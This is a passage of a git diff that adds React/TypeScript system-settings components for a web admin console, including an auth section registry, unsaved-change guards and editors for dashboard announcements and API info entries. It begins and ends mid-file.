+          TurnstileSecretKey: settings.TurnstileSecretKey,
+        }}
+      />
+    ),
+  },
+  {
+    id: 'custom-oauth',
+    titleKey: 'Custom OAuth',
+    descriptionKey: 'Configure custom OAuth providers for user authentication',
+    build: () => <CustomOAuthSection />,
+  },
+] as const
+
+export type AuthSectionId = (typeof AUTH_SECTIONS)[number]['id']
+
+const authRegistry = createSectionRegistry<AuthSectionId, AuthSettings>({
+  sections: AUTH_SECTIONS,
+  defaultSection: 'basic-auth',
+  basePath: '/system-settings/auth',
+  urlStyle: 'path',
+})
+
+export const AUTH_SECTION_IDS = authRegistry.sectionIds
+export const AUTH_DEFAULT_SECTION = authRegistry.defaultSection
+export const getAuthSectionNavItems = authRegistry.getSectionNavItems
+export const getAuthSectionContent = authRegistry.getSectionContent
diff --git a/new-api/web/default/src/features/system-settings/components/form-dirty-indicator.tsx b/new-api/web/default/src/features/system-settings/components/form-dirty-indicator.tsx
new file mode 100644
index 0000000..18cb35a
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/components/form-dirty-indicator.tsx
@@ -0,0 +1,36 @@
+import { Info } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+
+type FormDirtyIndicatorProps = {
+  isDirty: boolean
+  message?: string
+}
+
+/**
+ * Visual indicator that the form has unsaved changes
+ *
+ * @example
+ * ```tsx
+ * <FormDirtyIndicator isDirty={form.formState.isDirty} />
+ * ```
+ */
+export function FormDirtyIndicator({
+  isDirty,
+  message,
+}: FormDirtyIndicatorProps) {
+  const { t } = useTranslation()
+  if (!isDirty) return null
+
+  return (
+    <Alert
+      variant='default'
+      className='border-orange-500/50 bg-orange-50 dark:bg-orange-950/20'
+    >
+      <Info className='h-4 w-4 text-orange-600 dark:text-orange-500' />
+      <AlertDescription className='text-orange-800 dark:text-orange-400'>
+        {message ?? t('You have unsaved changes')}
+      </AlertDescription>
+    </Alert>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/components/form-navigation-guard.tsx b/new-api/web/default/src/features/system-settings/components/form-navigation-guard.tsx
new file mode 100644
index 0000000..f49c751
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/components/form-navigation-guard.tsx
@@ -0,0 +1,85 @@
+import { useState, useEffect } from 'react'
+import { useBlocker } from '@tanstack/react-router'
+import { useTranslation } from 'react-i18next'
+import { ConfirmDialog } from '@/components/confirm-dialog'
+
+type FormNavigationGuardProps = {
+  when: boolean
+  title?: string
+  message?: string
+}
+
+/**
+ * Form navigation guard with custom dialog
+ *
+ * Prevents navigation when form has unsaved changes.
+ * Uses project's native ConfirmDialog instead of browser's window.confirm()
+ *
+ * @param when - Whether to block navigation (typically form.formState.isDirty)
+ * @param title - Dialog title
+ * @param message - Dialog message
+ *
+ * @example
+ * ```tsx
+ * <FormNavigationGuard when={form.formState.isDirty} />
+ * ```
+ */
+export function FormNavigationGuard({
+  when,
+  title,
+  message,
+}: FormNavigationGuardProps) {
+  const { t } = useTranslation()
+  const resolvedTitle = title ?? t('Unsaved changes')
+  const resolvedMessage =
+    message ?? t('You have unsaved changes. Are you sure you want to leave?')
+  const blocker = useBlocker({ condition: when })
+  const [showDialog, setShowDialog] = useState(false)
+
+  // Listen to blocker status changes
+  useEffect(() => {
+    if (blocker.status === 'blocked') {
+      // eslint-disable-next-line react-hooks/set-state-in-effect
+      setShowDialog(true)
+    }
+  }, [blocker.status])
+
+  const handleConfirm = () => {
+    setShowDialog(false)
+    blocker.proceed?.()
+  }
+
+  const handleCancel = () => {
+    setShowDialog(false)
+    blocker.reset?.()
+  }
+
+  // Handle browser navigation (refresh, close tab)
+  useEffect(() => {
+    if (!when) return
+
+    const handleBeforeUnload = (e: BeforeUnloadEvent) => {
+      e.preventDefault()
+      e.returnValue = ''
+      return ''
+    }
+
+    window.addEventListener('beforeunload', handleBeforeUnload)
+    return () => window.removeEventListener('beforeunload', handleBeforeUnload)
+  }, [when])
+
+  return (
+    <ConfirmDialog
+      open={showDialog}
+      onOpenChange={(open) => {
+        if (!open) handleCancel()
+      }}
+      title={resolvedTitle}
+      desc={resolvedMessage}
+      confirmText={t('Leave')}
+      cancelBtnText={t('Stay')}
+      destructive
+      handleConfirm={handleConfirm}
+    />
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/components/settings-accordion.tsx b/new-api/web/default/src/features/system-settings/components/settings-accordion.tsx
new file mode 100644
index 0000000..7625194
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/components/settings-accordion.tsx
@@ -0,0 +1,35 @@
+import {
+  AccordionItem,
+  AccordionTrigger,
+  AccordionContent,
+} from '@/components/ui/accordion'
+
+type SettingsAccordionProps = {
+  value: string
+  title: string
+  description?: string
+  children: React.ReactNode
+  className?: string
+}
+
+export function SettingsAccordion({
+  value,
+  title,
+  description,
+  children,
+  className,
+}: SettingsAccordionProps) {
+  return (
+    <AccordionItem value={value} className={className}>
+      <AccordionTrigger className='hover:no-underline'>
+        <div className='flex flex-col gap-1 text-left'>
+          <div className='text-base font-semibold'>{title}</div>
+          {description && (
+            <div className='text-muted-foreground text-sm'>{description}</div>
+          )}
+        </div>
+      </AccordionTrigger>
+      <AccordionContent className='pt-4'>{children}</AccordionContent>
+    </AccordionItem>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/components/settings-card.tsx b/new-api/web/default/src/features/system-settings/components/settings-card.tsx
new file mode 100644
index 0000000..abf3dac
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/components/settings-card.tsx
@@ -0,0 +1,32 @@
+import { memo } from 'react'
+import {
+  Card,
+  CardContent,
+  CardHeader,
+  CardTitle,
+  CardDescription,
+} from '@/components/ui/card'
+
+type SettingsCardProps = {
+  title: string
+  description?: string
+  children: React.ReactNode
+  className?: string
+}
+
+export const SettingsCard = memo(function SettingsCard({
+  title,
+  description,
+  children,
+  className,
+}: SettingsCardProps) {
+  return (
+    <Card className={className}>
+      <CardHeader>
+        <CardTitle>{title}</CardTitle>
+        {description && <CardDescription>{description}</CardDescription>}
+      </CardHeader>
+      <CardContent>{children}</CardContent>
+    </Card>
+  )
+})
diff --git a/new-api/web/default/src/features/system-settings/components/settings-page.tsx b/new-api/web/default/src/features/system-settings/components/settings-page.tsx
new file mode 100644
index 0000000..0165a21
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/components/settings-page.tsx
@@ -0,0 +1,62 @@
+import { useParams } from '@tanstack/react-router'
+import { useTranslation } from 'react-i18next'
+import { useSystemOptions, getOptionValue } from '../hooks/use-system-options'
+
+type SettingsPageProps<
+  TSettings extends Record<string, string | number | boolean | unknown[]>,
+  TSectionId extends string,
+> = {
+  routePath: string
+  defaultSettings: TSettings
+  defaultSection: TSectionId
+  getSectionContent: (
+    sectionId: TSectionId,
+    settings: TSettings,
+    ...extraArgs: unknown[]
+  ) => React.ReactNode
+  extraArgs?: unknown[]
+}
+
+/**
+ * Generic settings page component
+ * Handles loading state, data fetching, and section rendering
+ */
+export function SettingsPage<
+  TSettings extends Record<string, string | number | boolean | unknown[]>,
+  TSectionId extends string,
+>({
+  routePath,
+  defaultSettings,
+  defaultSection,
+  getSectionContent,
+  extraArgs = [],
+}: SettingsPageProps<TSettings, TSectionId>) {
+  const { t } = useTranslation()
+  const { data, isLoading } = useSystemOptions()
+  // eslint-disable-next-line @typescript-eslint/no-explicit-any
+  const params = useParams({ from: routePath as any })
+
+  if (isLoading) {
+    return (
+      <div className='flex items-center justify-center py-12'>
+        <div className='text-muted-foreground'>{t('Loading settings...')}</div>
+      </div>
+    )
+  }
+
+  const settings = getOptionValue(data?.data, defaultSettings) as TSettings
+  const activeSection = (params?.section ?? defaultSection) as TSectionId
+  const sectionContent = getSectionContent(
+    activeSection,
+    settings,
+    ...extraArgs
+  )
+
+  return (
+    <div className='flex h-full w-full flex-1 flex-col'>
+      <div className='faded-bottom h-full w-full overflow-y-auto scroll-smooth pe-4 pb-12'>
+        <div className='space-y-4'>{sectionContent}</div>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/components/settings-section.tsx b/new-api/web/default/src/features/system-settings/components/settings-section.tsx
new file mode 100644
index 0000000..db588dc
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/components/settings-section.tsx
@@ -0,0 +1,41 @@
+type SettingsSectionProps = {
+  title: string
+  titleProps?: React.HTMLAttributes<HTMLHeadingElement>
+  description?: string
+  children: React.ReactNode
+  className?: string
+}
+
+export function SettingsSection({
+  title,
+  titleProps,
+  description,
+  children,
+  className,
+}: SettingsSectionProps) {
+  const baseClassName = 'space-y-4'
+  const sectionClassName = className
+    ? `${baseClassName} ${className}`
+    : baseClassName
+
+  return (
+    <section className={sectionClassName}>
+      <div className='space-y-1'>
+        <h3
+          {...titleProps}
+          className={
+            titleProps?.className
+              ? `text-base font-semibold ${titleProps.className}`
+              : 'text-base font-semibold'
+          }
+        >
+          {title}
+        </h3>
+        {description && (
+          <p className='text-muted-foreground text-sm'>{description}</p>
+        )}
+      </div>
+      {children}
+    </section>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/content/announcements-section.tsx b/new-api/web/default/src/features/system-settings/content/announcements-section.tsx
new file mode 100644
index 0000000..edcad5c
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/content/announcements-section.tsx
@@ -0,0 +1,599 @@
+import { useEffect, useMemo, useState } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { Plus, Edit, Trash2, Save } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import dayjs from '@/lib/dayjs'
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from '@/components/ui/alert-dialog'
+import { Button } from '@/components/ui/button'
+import { Checkbox } from '@/components/ui/checkbox'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Switch } from '@/components/ui/switch'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { Textarea } from '@/components/ui/textarea'
+import { DateTimePicker } from '@/components/datetime-picker'
+import { StatusBadge } from '@/components/status-badge'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+type Announcement = {
+  id: number
+  content: string
+  publishDate: string
+  type: 'default' | 'ongoing' | 'success' | 'warning' | 'error'
+  extra?: string
+}
+
+type AnnouncementsSectionProps = {
+  enabled: boolean
+  data: string
+}
+
+const announcementSchema = z.object({
+  content: z
+    .string()
+    .min(1, 'Content is required')
+    .max(500, 'Content must be less than 500 characters'),
+  publishDate: z.string().min(1, 'Publish date is required'),
+  type: z.enum(['default', 'ongoing', 'success', 'warning', 'error']),
+  extra: z
+    .string()
+    .max(100, 'Extra must be less than 100 characters')
+    .optional(),
+})
+
+type AnnouncementFormValues = z.infer<typeof announcementSchema>
+
+const typeOptions = [
+  {
+    value: 'default',
+    label: 'Default',
+    color: 'bg-gray-500',
+    badgeVariant: 'neutral' as const,
+  },
+  {
+    value: 'ongoing',
+    label: 'Ongoing',
+    color: 'bg-blue-500',
+    badgeVariant: 'info' as const,
+  },
+  {
+    value: 'success',
+    label: 'Success',
+    color: 'bg-green-500',
+    badgeVariant: 'success' as const,
+  },
+  {
+    value: 'warning',
+    label: 'Warning',
+    color: 'bg-orange-500',
+    badgeVariant: 'warning' as const,
+  },
+  {
+    value: 'error',
+    label: 'Error',
+    color: 'bg-red-500',
+    badgeVariant: 'danger' as const,
+  },
+]
+
+export function AnnouncementsSection({
+  enabled,
+  data,
+}: AnnouncementsSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const [announcements, setAnnouncements] = useState<Announcement[]>([])
+  const [isEnabled, setIsEnabled] = useState(enabled)
+  const [hasChanges, setHasChanges] = useState(false)
+  const [selectedIds, setSelectedIds] = useState<number[]>([])
+  const [showDialog, setShowDialog] = useState(false)
+  const [showDeleteDialog, setShowDeleteDialog] = useState(false)
+  const [editingAnnouncement, setEditingAnnouncement] =
+    useState<Announcement | null>(null)
+  const [deleteTarget, setDeleteTarget] = useState<'single' | 'batch'>('single')
+
+  const form = useForm<AnnouncementFormValues>({
+    resolver: zodResolver(announcementSchema),
+    defaultValues: {
+      content: '',
+      publishDate: new Date().toISOString(),
+      type: 'default',
+      extra: '',
+    },
+  })
+
+  useEffect(() => {
+    try {
+      const parsed = JSON.parse(data || '[]')
+      if (Array.isArray(parsed)) {
+        setAnnouncements(
+          parsed.map((item, idx) => ({
+            ...item,
+            id: item.id || idx + 1,
+          }))
+        )
+      }
+    } catch {
+      setAnnouncements([])
+    }
+  }, [data])
+
+  useEffect(() => {
+    setIsEnabled(enabled)
+  }, [enabled])
+
+  const handleToggleEnabled = async (checked: boolean) => {
+    try {
+      await updateOption.mutateAsync({
+        key: 'console_setting.announcements_enabled',
+        value: checked,
+      })
+      setIsEnabled(checked)
+      toast.success(t('Setting saved'))
+    } catch {
+      toast.error(t('Failed to update setting'))
+    }
+  }
+
+  const handleAdd = () => {
+    setEditingAnnouncement(null)
+    form.reset({
+      content: '',
+      publishDate: new Date().toISOString(),
+      type: 'default',
+      extra: '',
+    })
+    setShowDialog(true)
+  }
+
+  const handleEdit = (announcement: Announcement) => {
+    setEditingAnnouncement(announcement)
+    form.reset({
+      content: announcement.content,
+      publishDate: announcement.publishDate,
+      type: announcement.type,
+      extra: announcement.extra || '',
+    })
+    setShowDialog(true)
+  }
+
+  const handleDelete = (announcement: Announcement) => {
+    setEditingAnnouncement(announcement)
+    setDeleteTarget('single')
+    setShowDeleteDialog(true)
+  }
+
+  const handleBatchDelete = () => {
+    if (selectedIds.length === 0) {
+      toast.error(t('Please select items to delete'))
+      return
+    }
+    setDeleteTarget('batch')
+    setShowDeleteDialog(true)
+  }
+
+  const confirmDelete = () => {
+    if (deleteTarget === 'single' && editingAnnouncement) {
+      setAnnouncements((prev) =>
+        prev.filter((item) => item.id !== editingAnnouncement.id)
+      )
+      setHasChanges(true)
+      toast.success(t('Announcement deleted. Click "Save Settings" to apply.'))
+    } else if (deleteTarget === 'batch') {
+      setAnnouncements((prev) =>
+        prev.filter((item) => !selectedIds.includes(item.id))
+      )
+      setSelectedIds([])
+      setHasChanges(true)
+      toast.success(
+        t('{{count}} announcements deleted. Click "Save Settings" to apply.', {
+          count: selectedIds.length,
+        })
+      )
+    }
+    setShowDeleteDialog(false)
+    setEditingAnnouncement(null)
+  }
+
+  const handleSubmitForm = (values: AnnouncementFormValues) => {
+    if (editingAnnouncement) {
+      setAnnouncements((prev) =>
+        prev.map((item) =>
+          item.id === editingAnnouncement.id ? { ...item, ...values } : item
+        )
+      )
+      toast.success(t('Announcement updated. Click "Save Settings" to apply.'))
+    } else {
+      const newId = Math.max(...announcements.map((item) => item.id), 0) + 1
+      setAnnouncements((prev) => [...prev, { id: newId, ...values }])
+      toast.success(t('Announcement added. Click "Save Settings" to apply.'))
+    }
+    setHasChanges(true)
+    setShowDialog(false)
+  }
+
+  const handleSaveAll = async () => {
+    try {
+      await updateOption.mutateAsync({
+        key: 'console_setting.announcements',
+        value: JSON.stringify(announcements),
+      })
+      setHasChanges(false)
+      toast.success(t('Announcements saved successfully'))
+    } catch {
+      toast.error(t('Failed to save announcements'))
+    }
+  }
+
+  const toggleSelectAll = (checked: boolean) => {
+    setSelectedIds(checked ? announcements.map((item) => item.id) : [])
+  }
+
+  const toggleSelectOne = (id: number, checked: boolean) => {
+    setSelectedIds((prev) =>
+      checked ? [...prev, id] : prev.filter((item) => item !== id)
+    )
+  }
+
+  const sortedAnnouncements = useMemo(() => {
+    return [...announcements].sort((a, b) => {
+      return (
+        new Date(b.publishDate).getTime() - new Date(a.publishDate).getTime()
+      )
+    })
+  }, [announcements])
+
+  const getRelativeTime = (date: string) => {
+    const now = new Date()
+    const past = new Date(date)
+    const diffMs = now.getTime() - past.getTime()
+    const diffMins = Math.floor(diffMs / 60000)
+    const diffHours = Math.floor(diffMins / 60)
+    const diffDays = Math.floor(diffHours / 24)
+
+    if (diffMins < 60) return `${diffMins}m ago`
+    if (diffHours < 24) return `${diffHours}h ago`
+    return `${diffDays}d ago`
+  }
+
+  return (
+    <SettingsSection
+      title={t('Announcements')}
+      description={t('Broadcast short system notices on the dashboard')}
+    >
+      <div className='space-y-4'>
+        <div className='flex flex-wrap items-center justify-between gap-2'>
+          <div className='flex flex-wrap items-center gap-2'>
+            <Button onClick={handleAdd} size='sm'>
+              <Plus className='mr-2 h-4 w-4' />
+              {t('Add Announcement')}
+            </Button>
+            <Button
+              onClick={handleBatchDelete}
+              size='sm'
+              variant='destructive'
+              disabled={selectedIds.length === 0}
+            >
+              <Trash2 className='mr-2 h-4 w-4' />
+              {t('Delete (')}
+              {selectedIds.length})
+            </Button>
+            <Button
+              onClick={handleSaveAll}
+              size='sm'
+              variant='secondary'
+              disabled={!hasChanges || updateOption.isPending}
+            >
+              <Save className='mr-2 h-4 w-4' />
+              {updateOption.isPending ? t('Saving...') : t('Save Settings')}
+            </Button>
+          </div>
+          <div className='flex items-center gap-2'>
+            <span className='text-muted-foreground text-sm'>
+              {t('Enabled')}
+            </span>
+            <Switch checked={isEnabled} onCheckedChange={handleToggleEnabled} />
+          </div>
+        </div>
+
+        <div className='rounded-md border'>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead className='w-12'>
+                  <Checkbox
+                    checked={
+                      selectedIds.length === announcements.length &&
+                      announcements.length > 0
+                    }
+                    onCheckedChange={toggleSelectAll}
+                  />
+                </TableHead>
+                <TableHead>{t('Content')}</TableHead>
+                <TableHead>{t('Publish Date')}</TableHead>
+                <TableHead>{t('Type')}</TableHead>
+                <TableHead>{t('Extra')}</TableHead>
+                <TableHead className='w-32'>{t('Actions')}</TableHead>
+              </TableRow>
+            </TableHeader>
+            <TableBody>
+              {sortedAnnouncements.length === 0 ? (
+                <TableRow>
+                  <TableCell colSpan={6} className='h-24 text-center'>
+                    {t(
+                      'No announcements yet. Click "Add Announcement" to create one.'
+                    )}
+                  </TableCell>
+                </TableRow>
+              ) : (
+                sortedAnnouncements.map((announcement) => (
+                  <TableRow key={announcement.id}>
+                    <TableCell>
+                      <Checkbox
+                        checked={selectedIds.includes(announcement.id)}
+                        onCheckedChange={(checked) =>
+                          toggleSelectOne(announcement.id, checked as boolean)
+                        }
+                      />
+                    </TableCell>
+                    <TableCell
+                      className='max-w-xs truncate'
+                      title={announcement.content}
+                    >
+                      {announcement.content}
+                    </TableCell>
+                    <TableCell>
+                      <div className='flex flex-col gap-1'>
+                        <span className='text-sm font-medium'>
+                          {getRelativeTime(announcement.publishDate)}
+                        </span>
+                        <span className='text-muted-foreground text-xs'>
+                          {dayjs(announcement.publishDate).format(
+                            'YYYY-MM-DD HH:mm:ss'
+                          )}
+                        </span>
+                      </div>
+                    </TableCell>
+                    <TableCell>
+                      <StatusBadge
+                        label={
+                          typeOptions.find(
+                            (opt) => opt.value === announcement.type
+                          )?.label
+                        }
+                        variant={
+                          typeOptions.find(
+                            (opt) => opt.value === announcement.type
+                          )?.badgeVariant ?? 'neutral'
+                        }
+                        copyable={false}
+                      />
+                    </TableCell>
+                    <TableCell
+                      className='text-muted-foreground max-w-xs truncate'
+                      title={announcement.extra}
+                    >
+                      {announcement.extra || '-'}
+                    </TableCell>
+                    <TableCell>
+                      <div className='flex gap-2'>
+                        <Button
+                          onClick={() => handleEdit(announcement)}
+                          size='sm'
+                          variant='ghost'
+                        >
+                          <Edit className='h-4 w-4' />
+                        </Button>
+                        <Button
+                          onClick={() => handleDelete(announcement)}
+                          size='sm'
+                          variant='ghost'
+                        >
+                          <Trash2 className='h-4 w-4' />
+                        </Button>
+                      </div>
+                    </TableCell>
+                  </TableRow>
+                ))
+              )}
+            </TableBody>
+          </Table>
+        </div>
+      </div>
+
+      <Dialog open={showDialog} onOpenChange={setShowDialog}>
+        <DialogContent className='max-w-2xl'>
+          <DialogHeader>
+            <DialogTitle>
+              {editingAnnouncement
+                ? t('Edit Announcement')
+                : t('Add Announcement')}
+            </DialogTitle>
+            <DialogDescription>
+              {t('Create or update system announcements for the dashboard')}
+            </DialogDescription>
+          </DialogHeader>
+          <Form {...form}>
+            <form
+              onSubmit={form.handleSubmit(handleSubmitForm)}
+              className='space-y-4'
+            >
+              <FormField
+                control={form.control}
+                name='content'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Content')}</FormLabel>
+                    <FormControl>
+                      <Textarea
+                        placeholder={t(
+                          'Enter announcement content (supports Markdown/HTML)'
+                        )}
+                        rows={4}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Maximum 500 characters. Supports Markdown and HTML.')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name='publishDate'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Publish Date')}</FormLabel>
+                    <FormControl>
+                      <DateTimePicker
+                        value={field.value ? new Date(field.value) : undefined}
+                        onChange={(date) =>
+                          field.onChange(date ? date.toISOString() : '')
+                        }
+                        placeholder={t('Select publish date')}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t(
+                        'Date and time when this announcement should be displayed'
+                      )}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name='type'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Type')}</FormLabel>
+                    <Select onValueChange={field.onChange} value={field.value}>
+                      <FormControl>
+                        <SelectTrigger>
+                          <SelectValue
+                            placeholder={t('Select announcement type')}
+                          />
+                        </SelectTrigger>
+                      </FormControl>
+                      <SelectContent>
+                        {typeOptions.map((option) => (
+                          <SelectItem key={option.value} value={option.value}>
+                            <div className='flex items-center gap-2'>
+                              <div
+                                className={`h-3 w-3 rounded-full ${option.color}`}
+                              />
+                              {option.label}
+                            </div>
+                          </SelectItem>
+                        ))}
+                      </SelectContent>
+                    </Select>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name='extra'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Extra Notes (Optional)')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t('Additional information')}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t(
+                        'Optional supplementary information (max 100 characters)'
+                      )}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+              <DialogFooter>
+                <Button
+                  type='button'
+                  variant='outline'
+                  onClick={() => setShowDialog(false)}
+                >
+                  {t('Cancel')}
+                </Button>
+                <Button type='submit'>
+                  {editingAnnouncement ? t('Update') : t('Add')}
+                </Button>
+              </DialogFooter>
+            </form>
+          </Form>
+        </DialogContent>
+      </Dialog>
+
+      <AlertDialog open={showDeleteDialog} onOpenChange={setShowDeleteDialog}>
+        <AlertDialogContent>
+          <AlertDialogHeader>
+            <AlertDialogTitle>{t('Are you sure?')}</AlertDialogTitle>
+            <AlertDialogDescription>
+              {deleteTarget === 'single'
+                ? 'This announcement will be removed from the list.'
+                : `${selectedIds.length} announcements will be removed from the list.`}
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel>{t('Cancel')}</AlertDialogCancel>
+            <AlertDialogAction onClick={confirmDelete}>
+              {t('Delete')}
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/content/api-info-section.tsx b/new-api/web/default/src/features/system-settings/content/api-info-section.tsx
new file mode 100644
index 0000000..8cb9ff1
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/content/api-info-section.tsx
@@ -0,0 +1,528 @@
+import { useEffect, useState } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { Plus, Edit, Trash2, Save } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from '@/components/ui/alert-dialog'
+import { Button } from '@/components/ui/button'
+import { Checkbox } from '@/components/ui/checkbox'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Switch } from '@/components/ui/switch'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { StatusBadge } from '@/components/status-badge'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+type ApiInfo = {
+  id: number
+  url: string
+  route: string
+  description: string
+  color: string
+}
+
+type ApiInfoSectionProps = {
+  enabled: boolean
+  data: string
+}
+
+const createApiInfoSchema = (t: (key: string) => string) =>
+  z.object({
+    url: z.string().url(t('Must be a valid URL')),
+    route: z.string().min(1, t('Route is required')),
+    description: z.string().min(1, t('Description is required')),
+    color: z.string().min(1, t('Color is required')),
+  })
+
+type ApiInfoFormValues = z.infer<ReturnType<typeof createApiInfoSchema>>
+
+const colorOptions = [
+  { value: 'blue', label: 'Blue', bgClass: 'bg-blue-500' },
+  { value: 'green', label: 'Green', bgClass: 'bg-green-500' },
+  { value: 'cyan', label: 'Cyan', bgClass: 'bg-cyan-500' },
+  { value: 'purple', label: 'Purple', bgClass: 'bg-purple-500' },
+  { value: 'pink', label: 'Pink', bgClass: 'bg-pink-500' },
+  { value: 'red', label: 'Red', bgClass: 'bg-red-500' },
+  { value: 'orange', label: 'Orange', bgClass: 'bg-orange-500' },
+  { value: 'amber', label: 'Amber', bgClass: 'bg-amber-500' },
+  { value: 'yellow', label: 'Yellow', bgClass: 'bg-yellow-500' },
+  { value: 'lime', label: 'Lime', bgClass: 'bg-lime-500' },
+  { value: 'teal', label: 'Teal', bgClass: 'bg-teal-500' },
+  { value: 'indigo', label: 'Indigo', bgClass: 'bg-indigo-500' },
+  { value: 'violet', label: 'Violet', bgClass: 'bg-violet-500' },
+  { value: 'slate', label: 'Slate', bgClass: 'bg-slate-500' },
+]
+
+export function ApiInfoSection({ enabled, data }: ApiInfoSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const apiInfoSchema = createApiInfoSchema(t)
+  const [apiInfoList, setApiInfoList] = useState<ApiInfo[]>([])
+  const [isEnabled, setIsEnabled] = useState(enabled)
+  const [hasChanges, setHasChanges] = useState(false)
+  const [selectedIds, setSelectedIds] = useState<number[]>([])
+  const [showDialog, setShowDialog] = useState(false)
+  const [showDeleteDialog, setShowDeleteDialog] = useState(false)
+  const [editingApiInfo, setEditingApiInfo] = useState<ApiInfo | null>(null)
+  const [deleteTarget, setDeleteTarget] = useState<'single' | 'batch'>('single')
+
+  const form = useForm<ApiInfoFormValues>({
+    resolver: zodResolver(apiInfoSchema),
+    defaultValues: {
+      url: '',
+      route: '',
+      description: '',
+      color: 'blue',
+    },
+  })
+
+  useEffect(() => {
+    try {
+      const parsed = JSON.parse(data || '[]')
+      if (Array.isArray(parsed)) {
+        setApiInfoList(
+          parsed.map((item, idx) => ({
+            ...item,
+            id: item.id || idx + 1,
+          }))
+        )
+      }
+    } catch {
+      setApiInfoList([])
+    }
+  }, [data])
+
+  useEffect(() => {
+    setIsEnabled(enabled)
+  }, [enabled])
+
+  const handleToggleEnabled = async (checked: boolean) => {
+    try {
+      await updateOption.mutateAsync({
+        key: 'console_setting.api_info_enabled',
+        value: checked,
+      })
+      setIsEnabled(checked)
+      toast.success(t('Setting saved'))
+    } catch {
+      toast.error(t('Failed to update setting'))
+    }
+  }
+
+  const handleAdd = () => {
+    setEditingApiInfo(null)
+    form.reset({
+      url: '',
+      route: '',
+      description: '',
+      color: 'blue',
+    })
+    setShowDialog(true)
+  }
+
+  const handleEdit = (apiInfo: ApiInfo) => {
+    setEditingApiInfo(apiInfo)
+    form.reset({
+      url: apiInfo.url,
+      route: apiInfo.route,
+      description: apiInfo.description,
+      color: apiInfo.color,
+    })
+    setShowDialog(true)
+  }
+
+  const handleDelete = (apiInfo: ApiInfo) => {
+    setEditingApiInfo(apiInfo)
+    setDeleteTarget('single')
+    setShowDeleteDialog(true)
+  }
+
+  const handleBatchDelete = () => {
+    if (selectedIds.length === 0) {
+      toast.error(t('Please select items to delete'))
+      return
+    }
+    setDeleteTarget('batch')
+    setShowDeleteDialog(true)
+  }
+
+  const confirmDelete = () => {
+    if (deleteTarget === 'single' && editingApiInfo) {
+      setApiInfoList((prev) =>
